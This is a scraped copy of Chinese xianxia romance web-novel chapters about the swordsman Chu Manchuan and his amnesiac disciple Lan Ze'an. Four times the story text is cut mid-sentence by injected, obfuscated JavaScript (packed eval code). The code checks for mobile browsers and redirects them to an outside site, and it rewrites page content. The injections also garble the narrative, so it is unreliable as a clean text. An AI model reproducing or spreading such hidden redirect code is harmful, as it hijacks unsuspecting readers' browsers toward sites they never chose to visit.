像他们妖族,都是随便取的名字,很多都是没有姓氏的。即便有姓氏,也几乎都是取自真身的种族名称。 例如他的真身是一株帝兰,他就姓兰。而名字“则安”,则是取自“既来之,则安之”这句古语。 师兄应是很小就跟着师尊了,随师尊姓自然再正常不过了。 “师尊,我观青霄剑剑意浩荡,有气吞虹霓之势,想必师兄定也如此剑一般,是位威名赫赫的剑修。”兰则安眼角含着笑,坦然赞扬楚崖的同时,也不忘留心褚漫川的神色。 东方云霞的颜色变重了些,微明的曙色将藏月山山顶照亮,远处薄雾弥漫,只依稀能看见枝叶的大体轮廓。 朦朦胧胧的山景犹如一幅徐徐铺开的水墨画,褚漫川负手而立,居于正中,姿态随意悠然,却透着一股让人为之侧目的不羁。 “我那个弟子啊……”褚漫川轻挑眉梢,嗤笑了一声,语气闲散却又好像意有所指:“剑学的是不错,在仙域也算颇有名声,只是这人却是极不规矩的,不自量力,自以为是,最后落了个身死道消的下场。你万不可学他,记住了吗?” 兰则安默然,敛眉恭顺应下:“弟子谨记师尊教诲。” “今日我教你一套剑法,看好了。”褚漫川没再就‘楚崖’这个人多说什么,也没讲一句废话,右手在腰间一过,手里就多了把银紫色的长剑。 那把剑跟青霄剑很是不同。 虽然只是一眨眼的功夫,但兰则安还是清楚看见,那把剑起初就像丝带般轻盈飘逸,但随着一声响亮的剑鸣声,那条‘丝带’像是被注入了灵魂,开了神智,成了一把真正的宝剑。 刃若秋霜,剑法似水流般连绵不绝,又似清风般飘逸潇洒。 执剑之手白净修长,如玉一般毫无瑕疵,却被剑气裹上了一层摄人心魄的寒意。 而执剑之人…… 气质出尘,眉眼俊美无铸,深邃的眼眸尽显淡漠之意,衣袂翻飞间有种不食人间烟火的清冷。 剑芒似游龙般在空中跃动,褚漫川的身上绽放出耀眼的光华,兰则安根本移不开眼,痴了般凝注着那张面庞。 “轰——” 剑气挥荡开来,划破长空,激荡起一层厚厚的落叶。 纵然褚漫川根本没用仙力,只是单纯的示范,但剑尊之剑,又哪里会毫无动静? 剑停风止,兰则安心悸之下,感到一阵掩饰不住的尴尬。 “记住了吗?”褚漫川轻描淡写地问道,似乎笃定兰则安下一秒就会给他一个肯定的答案。 “记住了。”楚崖当时看这套剑法时,便是这样回答的。 但让他意料之外的是,兰则安却小声道:“弟子愚钝,只记住了前半截,未能领悟后半截剑法真意。” 越说,兰则安声音越小,头也越来越低。 褚漫川的神色忽而顿了一下,讶然:“你只记住了前半截?” 兰则安更是理亏,耳朵根都红了,声音也更轻了:“是。” 真是怪哉。 记忆没了,脑子竟也跟着不好使了。 当年,楚崖尚未成仙时,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么了?你说他怎么了?!”昏沉的意识骤然清醒,褚漫川脑子轰的一下,顿觉锥心刺骨,没来由的恐慌感顷刻间占据了他的意识。 他看到师鹤语嘴唇嗡动,不停往外吐着陌生的字眼,很长很长的一连串,他都没记住,只记住了八个字。 以身祭道、身死道消。 可怎么可能呢?楚崖怎么会去上古神域呢? 那种时候,那种时候……他居然会去上古神域。 还是独身前往。 混账。真是混账。 …… 当年,他赶到上古神域时,费尽诸多心血才寻到楚崖的一丝残魂,将其封印在养魂玉中。 等了这么多年,这笔帐,自然是要好好算上一算。 不过凭兰则安当下这具脆弱身体,怕是承受不住他的怒火。且等一等,等这混账魂魄融合完成,他就会让兰则安知道,欺骗他的代价。 褚漫川紧咬着牙,恨意和怒火在胸膛翻腾,双手不断攥紧松开。 远处的云雾轻轻拂过黛山,时光飞逝,藏月山的景色也在不知不觉中变了许多。 但他的恨、他的恼,却一点也没曾消减过。 七百年,整整七百年。 “我终于找到你了。”褚漫川喃喃道,他眼底的寒冰尽数褪去,变得猩红。 5. 第 5 章 兰则安身体有些乏力。 他觉得不太对劲,内心深处也觉得好像不该如此,他们帝兰一族虽然身体羸弱,但也不至于挥了区区几剑就累成这样。 为什么……他会这样虚弱? 兰则安垂下眼睑,茫然看着自己的掌心,眉头缓缓拧紧,但思绪却一片空白,什么也没有,就连他成仙前的记忆也回想不起来。 他在原地出神地站了好一会儿,脑子里还是空洞洞的。 “呖——呖——” 藏月山外猝不及防响起了一道清脆的鸾鸟叫声,其声婉转悠扬,不绝于耳。 兰则安转念眺向那只红色鸾鸟,还未仔细瞧上几眼,就见一道红色影子像飞镖般袭向红鸾。 只是一瞬,几乎是看见那道影子的刹那间,那影子就已经击中了红鸾细长的脖颈。 速度超乎寻常,像闪电一样狠狠击中了鸾鸟的致命处。 精准无误,没有任何偏差。 半空中悠然飘落一片火红色的叶子,鸾鸟原本清亮的啼叫也变成了讨饶的哀鸣,它振翅高飞,脖颈上秃了一片,还在往外冒着鲜血。 “居然只是一片枫叶。”兰则安这时才看清那道红影究竟为何物。 他转身,顺着那片枫叶袭来的角度看向小院的正屋。 褚漫川面色森寒,冷冷看着那只红鸾消失的方向,眸底逐渐染上一层薄怒。 他生气了。 兰则安意识到这个问题的第一反应,不是奇怪,也不是疑惑,而是想让师尊消气,不要为一些不值得的人和事生气。 他形容不出来这种奇怪的感觉,也解释不清楚理由,反正这想法就是自然而然出现在了他脑子里。 “师尊?”兰则安温声唤道,即使还未能理清其中缘故,但脚步却不由自主朝他走了过去。 褚漫川侧身看他,那双狭长的丹凤眼毫无笑意,还透出阴骘的冷寒之色。 暖融融的阳光洒落在白雾之中,慢慢揭开了笼着青山的薄纱,给火红的枫叶也镀上了一层红彤彤的光彩。 一片瑰丽中,褚漫川的声音在微凉的晨曦中回荡,蕴含着极度危险的讯号,“怎么?你认得那只畜生?” 闻言,兰则安平和的脸色微妙一变,沉默片刻,总归是坦然道:“当初弟子在婆娑古境刚化形时,曾有过一面之缘,它是小凡师兄的坐骑。” 褚漫川的神情却更不好看了,他冷笑一声,咄咄逼人地反问道:“他算你哪门子的师兄?” 兰则安愣了愣,脑中灵光乍现,猛然回过神来,当即道:“弟子口不择言,还请师尊降罪。” “我问你,这些话,都是他教你说的吗?”褚漫川目光如炬,嗓音压得又低又重,带着某种压抑过、却好像快要破土而出的凶戾。 兰则安没有急着回话,而是细细打量着他,眼底流露出难以言状的复杂之色,还有一种神色恍惚的迷离。 显而易见,师尊不喜黎修凡。从他们第一次遇见,每当他说起‘小凡师兄’,褚漫川的情绪就会变得非常不好。甚至就连黎修凡的坐骑红鸾,也会惹他不悦。 可黎修凡不是褚漫川师兄的弟子吗? 而且还是亲传弟子。 想不明白,兰则安索性就不想了,迎上褚漫川犀利的目光,用轻柔的声音说:“弟子只是与他同行来到万世仙宗,所言皆是有感而发。” 他的眸色温润沉静,语气也是一丝不苟的诚恳。 平心而论,兰则安的相貌跟之前还有七分相似,眉目间那股潇洒不羁的英气也一直存在着,只是五官略柔和了些,全身上下好像只有气质跟先前大相径庭。 没了楚崖的那分桀骜不驯,变得温和而又内敛。 褚漫川望着他,脑海中凭空出现了一句话。 君子如兰,空谷幽香。 这家伙还是一如既往不会说太漂亮的话,不过听着勉强还算舒心。 渐渐的,虽然褚漫川脸上没有太显著的变化,但身上的气息却在恢复正常。 嗯,看来是哄好了! 兰则安眉眼一弯,嘴角抿起一丝浅笑。 他笑起来时,气质就更显温和,像是清风里夹上了几朵桃花,流转着无尽温柔。 但褚漫川并没被这笑容麻痹,依旧沉着脸,显出几分不耐,道:“我要出去一趟,你就老老实实待在书房里看书,哪儿也不许去,听见了吗?” “是。” “我回来发现——” “弟子一定是在书房的。”兰则安果断开口,笑意在眸底蔓延开来。 “呵,最好是。”褚漫川斜睨着他,面露讥嘲,一字一顿道:“倘若不在,我就打断你的腿。” 兰则安目瞪口呆。 师尊……师尊他是开玩笑的吧? 他刚认识师尊第二天。 他刚成为师尊弟子的第二天。 兰则安轻轻叹了口气。 师尊,还真是格外“厚爱”他啊! 沧净山。 师鹤语泡好了茶,今日是绿茶,云林绿雪。 清爽淡雅的茶香徐徐飘散,风一吹,就迎面送进了褚漫川鼻间。 他停下脚步,淡声问道:“方才是师兄找我,还是黎修凡找我那新收的徒弟?” “唉……你啊。”师鹤语无奈地摇着头,默然片刻,还是忍不住正色道:“师弟,你执念太深了。” 褚漫川却是直接嗤笑出声,连表面功夫都没做,撕破那层假象,径直说了句,“师兄若是没什么要紧事,我便回去了。” 轻飘飘丢下这句话,他转身作势就要走。 “你等等,好歹也听我把话说完。”师鹤语叫住他。 褚漫川转过身,目光定格在那盏青瓷茶杯里,眉宇间透着不加掩饰的厌恶,眸色冷得瘆人:“师兄应该知道,我最是讨厌绿茶了。” 师鹤语拿到嘴边的茶杯生生停下,动作停滞在半空。 “你还是在怨我。”他轻喟道。 两人隔着窗子,不过几步路的距离,却再也走不到一起去了。 师鹤语心里明白,有一条无桥可渡的河流横在他们中间,他和褚漫川的距离永远都不会再缩短了。 山林间的风呼啸吹过,撩起褚漫川衣摆,带来一股令人倍感窒息的凉意。 “我说过,黎修凡跟七百年前的事脱不了干系,上古神域禁制被开启绝对有他的参与。”褚漫川掷地有声道。 “我也说过,我用神识查看过他的记忆,他出现在那里是因为看见楚崖去了上古神域,事实不会说谎。”见他说起这个,师鹤语一贯从容的脸上多了层愠色,平淡的嗓音透着一种不容置疑的严谨:“与其怀疑我的弟子,你不如去弄清楚,为什么楚崖会出现在上古神域?又为什么偏偏他去的时候,禁制就开启了?” “怎么?你的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875590|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是,楚崖是自找的?是作茧自缚?”褚漫川吐字清晰,言辞如刀。 师鹤语置若罔闻,复又端起茶盏,不慌不忙地抿了一小口,才慢悠悠地说:“算了,不管怎样,这些都已经过去了。逝者已逝,生者如斯,况且师弟你不是又收了一个新弟子吗?” 褚漫川眯着眼睛,不敢相信他居然会用这么无所谓的语气揭过那件事,揭过楚崖那个人。 “你明知道,楚崖不单单只是我的弟子。”褚漫川肃声回他,长眉拧出一抹不悦。 “所以我才会说,师弟,你执念太深了。”师鹤语放下茶盏,轻轻笑了一下,整个人看上去也和平日里一般无二。 只是他分明是笑着的,整张脸都在笑,眼角眉梢也有温和的笑意,但笑起来的那一瞬间却有种极致的凉薄之意,仿佛这世间万事万物都未能入他眼,这世间的一切也都不能让他有分毫动容。 “上古神域的禁制为何会忽然打开,目前多方势力都在调查。不光是我们仙域,妖域、鬼域和魔域这七百年来也没有松懈过。”师鹤语也不瞒他,好好解释了起来:“你也知道,一旦上古神域开启,那些封存的杀意和恶念就会倾泻人间,届时生灵涂炭,天下也将不太平矣。楚崖以身祭道,凭一己之身重新封印神域,免了一场灾祸。此举才不负他修仙之心,才不负他——” “才不负他身后的宗门,对吗?”褚漫川怒极反笑,胸膛里的那颗心脏像是燃烧起了烈火,叫嚣着冲出体外。 “我竟不知,他一个玄仙,竟然会比我等一众金仙还有本事,莫名其妙跑去那上古神域封印松开的禁制。” 冰冷锐利的剑意像是洪水般喷涌而出,在这座不大的院落里翻腾咆哮。 “铮——”一道琴音忽响,与那剑意分庭抗礼。 师鹤语身前出现了一把七弦琴,琴面有精致的流云纹,下有二字,其名曰:清心。 “师弟在鬼域那种阴寒之地待久了,我观仙力似乎也受到了影响,这七百年不增反减啊。”师鹤语指尖轻抚琴弦之上,只是试了几下音,就收了动作,完全不理会褚漫川的质问。 褚漫川表情冷淡,几乎没有任何情绪波动,对他说的话也一点都不在意。 “师尊在世时,常说师弟有玲珑心思,一点即透。”师鹤语的声音轻柔而低缓,却伴随着一丝不容小觑的威压:“其实我也很遗憾楚崖那孩子,只是师弟,你既是他一个人的师尊,却也是我们万世仙宗的长老。今日我唤红鸾去藏月山传信,就是想跟你商量下个月的宗门大比,则安既已被你收入门下,你看此次大比……” 褚漫川听了不由蹙起眉头,道:“他刚修成仙身,不过是上仙一层的修为。况且帝兰真身孱弱,我也还未教他任何东西,如何能参与宗门大比?” “所谓大比,也不过是点到为止,宗门弟子间相互交流切磋罢了,你又何须放在心上?”师鹤语深深看了他一眼,方道:“况且帝兰元神之力远远强于同阶修士,则安比起你那前弟子可能是要差了些,但比起宗门同阶的多半弟子,都是极有胜算的。” “师兄既有决断,何必还要多此一举来问我呢?”褚漫川知道他心意已决,也没再浪费口舌。 “一个月后的宗门大比,兰则安会参加。其次,藏月山清静,我亦不喜鸟鸣,师兄可要看好那些会飞的畜生,不然师弟下手没个轻重,若是误伤……岂不是糟蹋了我们师兄弟之间的情谊?” 6. 第 6 章 褚漫川回到藏月山山顶时,一眼就看见了兰则安。 他就坐在书房的窗前,坐在自己一眼就能看见的地方。 兰则安也是第一时间就看到了他,他们目光交汇,兰则安短暂地晃了一下神。 比起离开前,师尊身上的威压更重了,整个人仿佛变成了一把脱鞘的利剑,透着一股冷酷到无情的锋锐之气。 但不过几息间,褚漫川打量他一阵后,就收回视线,一脸冷漠地走向正屋,身上那属于剑修的肃杀之气也在顷刻间荡然无存。 兰则安无意识抿紧了嘴唇,想问些什么,却又苦于不知道该怎么开口,也不知道该从哪里开始问。 虽然他刚拜入藏霄仙尊座下,两人认识也不过短短一天,但师尊就是师尊,是只此一个的师尊。弟子理应为师尊解忧,况且“尊师重道”不光是他们人族的规矩,妖族亦然。 许是他的眼神太过热烈,褚漫川经过他窗前时,瞥过来一眼,随口问道:“你在看什么书?” “食谱。”兰则安竖起面前的书,百味食记四个字映入眼帘,让褚漫川脚步猛然一停。 兰则安没觉出不对,展开的书页上是他今天想尝试的东西,但他不知道褚漫川喜不喜欢吃,于是小心问道:“师尊,你喜欢吃汤圆吗?弟子今日学了个新菜式,想做给您尝一尝。” 汤圆,元宵,浮元子。 是修真界的元宵节。 …… 桂花香粉裹胡桃,江米如珠井水淘。 见说马家滴粉好,试灯风里卖元宵。[注1] 冬日的寒意还未完全消融,但上元佳节却已冲淡了这份萧瑟,街上人来人往,吆喝声叫卖声被徐徐夜风吹向更遥远的地方。 十里长街彩灯高挂,花影缤纷。 护城河边,一紫一黑两道身影立于树下。 银白色的月光洒满湖面,泛起粼粼波光,水面潺潺浮动,映出朦胧的白玉盘。 “师尊。”男人侧身靠过来,伸出双臂将他身体紧紧抱住,抱得很紧很紧,一副完全占有的姿势。 这人一贯如此,在外面也从不收敛分毫。 温热的鼻息拂过他的耳廓,他后背紧贴男人胸膛,薄薄的衣料持续传来对方炙热的体温。 男人心脏跳得剧烈,他耳畔的呼吸声也越来越灼热,也不知道什么时候起,他自己的心率也有些失常了。 “师尊。”男人再次唤他,低哑的嗓音透出一股明显的隐忍。 他感受着男人胸腔的震颤,喉结上下滚动了两下,神识扫过四周,发现这里虽然人不多,但也是有零星几个人影的。 “你规矩些,这是在外面,不是藏月山。”他出声提醒男人。 男人却低低地笑了起来,侧过头在他额间印下一吻,温柔克制:“谨遵师命。” …… 记忆戛然而止,褚漫川沉声道:“仙域没有节日,也从来不过节日。” “那我们可以自己吃啊,师尊,你想吃什么馅的?”兰则安微微倾身,专注地看着褚漫川的眉眼。 这页纸上只简单标注了揉面时需得仔细的两点,但没有写用什么馅料。 褚漫川看他很是期待的模样,不禁冷冷一笑,恶意地回他:“本尊最讨厌吃的东西就是汤圆。” 兰则安被他噎了下,原本要说的话堵在嗓子眼儿,好半晌才缓过来,闷声道:“弟子记下了。” 褚漫川等他回过话,才背过身,不疾不徐走进了正屋。 院里的枫树一年四季都是红的,无论春夏秋冬,这里一直都是红艳艳的颜色。 若是冬日里落了雪,满树鲜红的叶子在白雪掩映下,就会尤显飘逸。若是有风恰好拂过,它们随风摇曳时,就像一簇簇火苗,晃晃悠悠的照亮整个冬季。 但是现在,过分繁茂的枫叶把这处庭院盖了个完全,层层叠叠遮住天空,看一眼只让人觉得压抑。 褚漫川沉沉收回目光,抬手关上窗子。 …… “师尊,马上就到元宵了,今年你想吃什么馅儿的汤圆?”男人站在他对面,笑吟吟地问道。 窗子是敞着的,窗外的枫叶上还有未化完的残雪。 他当时饶有兴致地追问那人:“都有什么馅儿的?” “好多好多好多呢。”男人给了他很多种选择:“红豆沙、黑芝麻、枣泥馅、核桃馅、花生馅、山楂馅、猪油馅、或者肉馅。师尊想不想尝尝肉馅的?你想吃什么肉,我就把它包在汤圆里。” “肉馅?会不会很奇怪?”他想想那种黏糊糊、肉唧唧的口感,脸色微变,十分不感兴趣地摇摇头,果断拒绝道:“算了,我不想尝试那种味道,我还是选红豆沙的吧。” “那就除了红豆沙,我再做一个核桃的、一个山楂的?师尊你觉得如何?”男人总是会给他很多种选择,也不嫌麻烦,总是如此。 他当时正巧无事,便问道:“核桃和山楂这两种馅料都需要准备什么?” “核桃馅的话,是核桃、芝麻和桂花;山楂馅的话,是山楂、红枣和猪油。”男人也没犹豫,想也不想就告诉他。 他当时回忆起自己惯吃的红豆沙汤圆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875591|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思索着说:“那红豆沙馅的,是不是有红豆沙、桂花、饴糖、还有一点点猪油?” “对。”男人当时凑过来,眼底荡漾开星星点点的光亮,“不过师尊少说了一样。” 他当时诧异着反问道:“还有其他的吗?” “说出来只怕师尊就不喜欢了。”男人佯装无奈道。 “……是不是有肉?很碎很碎的肉末?” “师尊英明。”男人嘴上叫着尊称,但动作却是大逆不道。 隔着一张桌子,欺身含住他的嘴唇,很放肆的与他唇舌交缠。 动作强势又急促,带着不容推拒的霸道。 …… “混账!混账!真是个混账!”意识到自己在想什么,褚漫川只觉得羞恼极了,若是那厮现在在他面前,他定会要那人好看! 房门却在此时被敲响,伴随着兰则安清润的声音传来:“师尊,我们今天暂且还吃阳春面,可以吗?” “随你,莫要打扰为师。”褚漫川硬邦邦道。 一门之隔,褚漫川耳根处的红晕清晰可见,仿佛隐藏着什么难言的情意。 门外,兰则安露出了一副若有所思的表情。 心中好像有无数个念头涌现,但每一个都像是长了翅膀,落不到实处,也看不清模样。 他感觉,他的脑子好像不大好使。 脑中像是有漫天云雾,而他却站在泥潭之中,根本分辨不清楚方向。 其次,他每动一下,或者挣扎一下,都觉得浑身沉重,无形中像是有一条锁链把他锁住了。 他耷拉着脑袋,心里充满了疲惫和无力。 “你还站这儿做什么?”褚漫川盯着门板,神识偷摸窥视着门外的兰则安,眼神里满是探究之意。 兰则安瞳孔遽然放大,如梦初醒。 “方才,弟子只是在想……阳春面该怎么做才能做得更合师尊口味。”兰则安目光复又落在了门板上。 褚漫川侧过身,眼神游移,四处乱瞥,却是怎么也不再看向门板。 明明……明明兰则安看不见他。 明明门板挡住了他的身影,但褚漫川就是觉得不自在。 都怪刚才的回忆。 都怪楚崖。 那个混账既不尊师重道,也不恪守礼仪,离经叛道,一点也不安分! 褚漫川的视线逐渐掠过屋里所有的陈设,黄梨花木制成的床榻、桌案、博古架……还有那扇玲珑剔透的白玉屏风。 褚漫川慢慢红了脸。 这间屋子,他是住不下去了。 7. 第 7 章 这是兰则安第二次做阳春面,他很熟练就做好了。 细如龙须的面条依偎在汤碗中,汤面上浮着点点青绿葱花,像是画家用心勾勒出的一幅细腻的画作。 他再次敲响正屋房门。 褚漫川第二次吃兰则安做的阳春面。 这碗面,无论是外观、香气还是口感,都透着一种熟悉的感觉。 这种深刻的味道完全融于面汤,也刻在了褚漫川的灵魂上。 他指尖轻颤,沉默放下筷子,缓缓阖上眸子。 褚漫川一言不发,兰则安等了半天见他不说话、也不吃面,只得小心翼翼叫他:“师尊?” 莫不是还不合师尊心意? 可这次他做得很顺畅,完全按照《百味食记》所写,点滴细节都没落下啊? 兰则安开始在脑海中回想刚才做阳春面的过程,再逐一与食谱写的那些对照,确定从始至终也没有任何纰漏。 他敛息屏气,安静等待师尊的审判。 褚漫川再睁眼时,看见的就是一脸温顺的兰则安。 正午的阳光穿过枫树叶子的缝隙,斑驳地撒在他的肩上。兰则安微垂着头,侧脸映着光,轮廓清晰英隽。青衫的他,仿若一块光华流转的美玉,好看得不像话。 只是他那眼巴巴望着自己的眼神实在稀奇,像是一只卖惨的可怜小兽。 都变成妖族了,怎么就没选个毛茸茸的躯壳呢? 不过现在想再多也是白搭,兰则安既已修成仙身,真身元神已定,便是再也改不了了。 褚漫川的思绪渐渐发散,兰则安苦等良久,心尖像是被一记爪子挠了一下似的,他迫切想知道这碗阳春面到底是好还是不好。 若是不好,又是不好在哪里,哪点不好。 兰则安频繁投来的目光让褚漫川的心情开始一点点变好,他在沧净山听到的那一声琴音似乎也变了调子,变得轻快惬意,变得欢喜愉悦。 他故意不说话,正襟危坐,端着‘藏霄仙尊’的架势,做足了身为兰则安‘师尊’的范儿。 时间太长,面也已经坨了。 兰则安快速扫过,见状,自觉明白了师尊的意思,谨慎道:“师尊是觉得哪里不好?” 这碗阳春面,师尊也只是吃了一口而已。 或许是楚崖的技艺太过高超,也或许是《百味食记》还遗漏了某些要点,总之,兰则安确定了一件事。 他得好好提升自己的厨艺了。 褚漫川微抬下巴,不咸不淡地回他:“你怎么总是要问我?多从你自己身上找找原因吧。” “我还想让你告诉我,为什么你做的阳春面一直不合我的心意呢?”说这话时,褚漫川的眉眼稍稍舒展开,勾唇浅浅一笑,反问起兰则安来。 被反将一军的兰则安呐呐无言,确实没有什么能辩解的。 见他面露挫败,褚漫川心底蓦然升起一股隐秘的快意。 这样做虽然不能让他完全解气,但七百年一直压抑着的疯狂终于算是找到了一个释放的口子。 此时,兰则安没有看他,自然也就没能发现褚漫川眼眸深处涌动着几分病态的阴戾。 “师尊可知楚崖师兄之前都会看些什么书吗?这些书里可有食谱?”兰则安突兀出声问道。 当他抬眼看向褚漫川时,褚漫川已然恢复成了先前那风轻云淡的模样。 他瞥了眼兰则安,理直气壮地回了他四个字。 “本尊不知。” 兰则安也不意外,本就只是抱着试试看的念头。毕竟师尊还是一山之主,万世仙宗又是仙域的第一宗门,平日里只怕有很多事需得师尊操心,怎么可能会一直跟在徒弟身侧呢? “对了,还有一件事你得记在心上。”褚漫川差点忘了正事,“下个月月中,也就是十五那天,是万世仙宗一百年一次的宗门大比,届时你也得参加。” 兰则安还是第一次知道有宗门大比这回事,他惊奇片刻,很快就接受了,并问道:“那师尊,我是要去和其他弟子比剑吗?” 褚漫川沉默了。 这个问题,其实他也没想清楚。 倘若让兰则安去跟其他弟子比剑,就剩不到一个月的时间,便是当初的楚崖,短短一月也提升不了多少。 但若是不比剑…… 褚漫川想起帝兰的真身,奇道:“你先说说看,你都会些什么?” “我……”兰则安嘴唇动了动,出神了好一会儿,整个人都怔住了。 我会什么?我以前又是如何修炼的?为什么脑子里一直空空如也,什么都想不起来? 他脸色苍白,眼神迷茫无措,像是在黑夜中迷了路。褚漫川目不转睛盯着他看,眼底暗沉,也不催他,只安静的等兰则安先开口。 兰则安的心渐渐沉了下去,他不知道该怎么形容这种感受,也不知道该用什么语言来描述这种心境。四周白茫茫的一片,找不出症结所在,也不到可以归属的方向。 他的眼睛里没有焦点,目光也完全失去了光彩,没有丝毫情感,像是失去了生机,温吞吞的以一种肉眼可见的速度在慢慢枯萎落败。 褚漫川很不喜欢他这个样子,记忆中,楚崖似乎永远都不曾露出过这么脆弱的一面。 那人永远都是骄傲的,意气风发,洒脱不羁,宛若一把劈开黑暗的利剑,更似一轮光彩夺目的耀眼骄阳。 “兰、则、安。”褚漫川终于忍不住,率先打破了死一般的沉寂。 他的语速放得很慢,但咬字却极重:“为师在问你话,会就是会,不会就是不会。不管会不会,总是要有个答案。你半天吐不出一个字来,怎么?什么时候连话都不会说了吗?” “师、师尊?”兰则安艰涩开口,声音像是被粗粝的沙子磨过般,带着沉重的无力感:“我……弟子,弟子只是不知,也想不起来,弟子以前究竟是怎样的人,成仙前又有何经历,会些什么,做过什么,喜欢什么,不喜欢什么,这些全都不记得了。” 他面色恍然,显然是陷入回忆中,却不得其解,破不开这七百年的光阴,自然也就得不到正确的答案。 说出来后,兰则安感觉好多了。 他逐渐平复下冗乱的思绪,去求助褚漫川:“师尊,我这种情况,莫不是渡劫化形的时候出了差池?” 褚漫川沉思了好一会儿,才慢慢开口:“你的问题,为师没法给你答案。有些东西虽然一时半刻说不清楚,但事实是不会说谎的,它就清清楚楚的摆在那儿,总有真相大白的那一天。” 兰则安眸光闪烁,迟迟没有动静。 好半天,他才恭谨颔首道:“多谢师尊赐教。” “你刚拜入为师座下,也是凑巧赶上了此次大比。宗门大比一百年一次,本也不算什么大事,只不过你是我藏月山唯一的弟子,不好推辞。”褚漫川漫不经心地说着,语调也很平淡,明显是一副无所谓的态度,“我这么说,你应该知道要怎么做了吧,届时你——” “弟子一定全力以赴。”兰则安郑重道,表情也跟着严肃起来。 褚漫川莫名其妙地瞥了他一眼,心道这脑子看来是真的不够用了,直截了当告诉他:“为师是让你量力而行,无需逞一时之快。” “你本就刚刚化形,只是上仙一层的修为,将将推开修仙的大门踏上仙途,在这仙域里也是人人可以踩一脚的存在。锋芒毕露对你而言并不是什么好事,费那么老大劲儿,只为争一个宗门里的名次排名,以你现在的能力来说,根本没有意义。”褚漫川一点也不客气,神情寡淡到近乎冷漠。 兰则安不自在地低咳了一声,小声说:“可师尊方才说,弟子是,弟子如今是藏月山唯一的弟子,若是不能取得一个还不错的名次,岂不是……” “丢人也是丢你自己的人,谁敢说本尊?”褚漫川神色坦荡,一派悠闲自得之态。 他唇角勾起浅浅笑意,不紧不慢地回兰则安:“退一步讲,纵是你输了,为师也不觉得丢人。至于其他人,你也不必放在心上,他们怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875592|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、怎么说是他们的事,你只管做好为师交待的事便好。” 他看着褚漫川云淡风轻的眉眼,心跳无端漏了一拍,一种让他心率失常的情愫像野草一样疯长,不受控制,也让他有些蠢蠢欲动。 褚漫川没再管他怎么想,转而给他介绍起了大比的规则:“所谓宗门大比,简单来说,就是器合峰、法悟峰、文渊峰和武道峰四峰弟子抽签比试,赢者参与下一轮抽签,继续比试,最后决出前十名,入万世仙宗风云榜。” 他略去了那些不必要的废话,简言概括了万世仙宗一百年一次的盛事。 兰则安忽略了心头那一抹异样的感觉,诧异道:“师尊,为什么是四峰弟子啊?医圣峰不用参赛吗?” “医圣峰的弟子专注炼丹和医道,攻击力相对弱于其他四峰。宗门大比他们有自己的比赛,比的也是炼丹和治病救人那些,跟四峰弟子的比赛不在一处。”褚漫川想了想,从记忆中扒拉出一个名字,“他们也会决出前十名,不过上的不是风云榜,而是仁心榜。” “仁心。”这两个字在兰则安心头拂过,让他脑中灵光一闪,“师尊,你觉得我要不要去找一个医圣峰的弟子看看?” 他不想稀里糊涂的活着。 他想找回成仙前的记忆,无论那段记忆好与不好。 褚漫川不假思索道:“最好不要。” 他的眉目黑压压的笼着一层寒意,语气也是没得商量的口吻。 “弟子知道了。”兰则安虽然诧异,却没多嘴,只乖乖答应下来。 褚漫川迟疑一阵,多嘱咐了句:“你没了成仙以前的记忆这件事,不要再跟任何人提起。” 兰则安话里也多了几分认真:“弟子明白。” “你先退下吧。”褚漫川突然想到自己还没跟他说:“你住东边那间屋子,书房里的所有书你都可以随便看,有什么不懂之处过来问我。” “是。” 兰则安的背影慢慢消失在视线尽头,窗外骤然起了一阵风,伴随着“沙沙”声响,一片火红的枫叶轻盈飘下,在空中悠悠然打着转,飞进窗子里,最后飘落在褚漫川面前。 …… “师尊,院子里空落落的,日头烈的时候太刺眼了,我们选一棵树种下吧?”当年,楚崖说起这件事的时候,山间就有风吹过。 那人平素只穿两种颜色的衣裳,要么就是看起来深沉稳重的黑色,要么就是看起来肆意飞扬的红色。 褚漫川一直都觉得,红衣更适合他,更适合楚崖。 最初,楚崖想种一棵金桂,当时他说:“师尊,桂花可以做点心,可以泡茶,可以酿酒,还可以做甜滋滋的糖蜜。” 褚漫川听了莞尔,不由得打趣道:“你怎么总是想着那些吃的东西?” 